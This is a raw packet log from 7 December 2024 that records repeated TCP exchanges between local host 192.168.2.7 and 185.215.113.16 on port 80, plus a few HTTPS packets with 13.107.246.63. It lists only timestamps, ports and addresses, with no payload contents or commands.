Dec 7, 2024 18:27:02.995568037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.995589972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.996686935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.996709108 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.996727943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.996741056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.997644901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.997685909 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.998018980 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.998085022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.998686075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.998728037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.998856068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.998893976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.999870062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.999912024 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.000045061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.000081062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.000755072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.000802994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.000935078 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.000982046 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.001915932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.001960993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.002089024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.002125025 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.002937078 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.002983093 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.003144026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.003184080 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.003958941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.003978968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.003995895 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.004081011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.005089998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.005131006 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.005264997 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.005302906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.006125927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.006170034 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.006304026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.006342888 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.007277966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.007323027 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.142309904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.142461061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.142483950 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.142507076 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.142842054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.142898083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.143049002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.143100977 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.144139051 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.144186974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.144392967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.144438028 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.144737959 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.144785881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.145351887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.145399094 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.145487070 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.145534039 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.146409988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.146456003 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.146541119 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.146585941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.147517920 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.147564888 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.147620916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.147664070 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.148562908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.148610115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.148783922 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.148828983 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.149554014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.149600029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.150156975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.150206089 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.150644064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.150692940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.151138067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.151182890 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.151741982 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.151789904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.151875019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.151916981 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.152762890 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.152812004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.153036118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.153080940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.153894901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.153944016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.153999090 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.154042959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.154891014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.154936075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.155085087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.155128956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.155936956 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.155982971 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.156281948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.156327009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.156996965 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.157041073 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.157140017 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.157183886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.158087969 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.158130884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.158246994 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.158297062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.159156084 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.159203053 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.159252882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.159296036 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.160227060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.160273075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.160348892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.160392046 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.161245108 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.161293030 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.161370039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.161415100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.162290096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.162336111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.162575960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.162621975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.163363934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.163408995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.163738966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.163784981 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.164510012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.164551973 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.164812088 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.164856911 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.165488005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.165533066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.165673971 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.165719032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.166552067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.166598082 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.166734934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.166779041 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.167682886 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.167728901 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.168004036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.168049097 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.168684959 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.168730021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.168989897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.169034004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.169828892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.169879913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.169936895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.169981956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.170809031 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.170855045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.171072960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.171118021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.171916962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.171962023 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.172010899 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.172054052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.172975063 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.173019886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.173093081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.173134089 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.173990011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.174035072 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.174113989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.174158096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.175111055 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.175157070 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.175235033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.175282955 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.176131964 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.176173925 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.176233053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.176271915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.177201033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.177247047 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.177710056 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.177752018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.178234100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.178280115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.178349018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.178392887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.179338932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.179385900 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.179749012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.179792881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.180386066 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.180433035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.180527925 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.180569887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.181428909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.181478024 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.181554079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.181597948 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.182490110 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.182537079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.182626963 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.182670116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.183521032 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.183568001 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.183809042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.183855057 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.184614897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.184659958 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.184767962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.184813023 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.185651064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.185693979 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.185894966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.185939074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.186824083 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.186870098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.187047958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.187096119 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.187803984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.187849045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.188266039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.188311100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.188821077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.188863993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.189105988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.189147949 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.189938068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.189982891 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.190052986 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.190097094 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.190989971 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.191034079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.191145897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.191188097 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.192138910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.192187071 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.192363024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.192409039 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.193110943 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.193155050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.193228960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.193274021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.194135904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.194180965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.194495916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.194541931 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.195261002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.195307016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.195457935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.195502043 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.196331978 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.196377993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.196482897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.196528912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.197432995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.197480917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.197594881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.197628975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.202368975 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.202884912 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.202896118 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.203414917 CET	49833	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.203421116 CET	443	49833	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.237488031 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.238116980 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.238146067 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.238540888 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.238544941 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.338709116 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.338793993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.339071989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.339117050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.339610100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.339622021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.339658022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.340362072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.340405941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.340564013 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.340604067 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.341358900 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.341487885 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.341547012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.342443943 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.342500925 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.342622042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.342667103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.343656063 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.343704939 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.461954117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.461967945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.462057114 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.462057114 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.463156939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.463170052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.463212013 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.581444979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.581465006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.581510067 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.581551075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.582734108 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.582748890 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.582788944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.700930119 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.700947046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.700957060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.700968981 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.701062918 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.701118946 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.701277018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.701288939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.701299906 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.701311111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.701332092 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.702245951 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.702258110 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.702266932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.702301025 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.702317953 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.703145981 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.703159094 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.703171015 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.703185081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.703200102 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.703217030 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.704128981 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.704144001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.704154968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.704180956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.704205990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.705040932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.705054998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.705086946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.705097914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.705126047 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.705976963 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.705998898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.706010103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.706026077 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.706034899 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.706037045 CET	80	49831	185.215.113.16	192.168.2.7
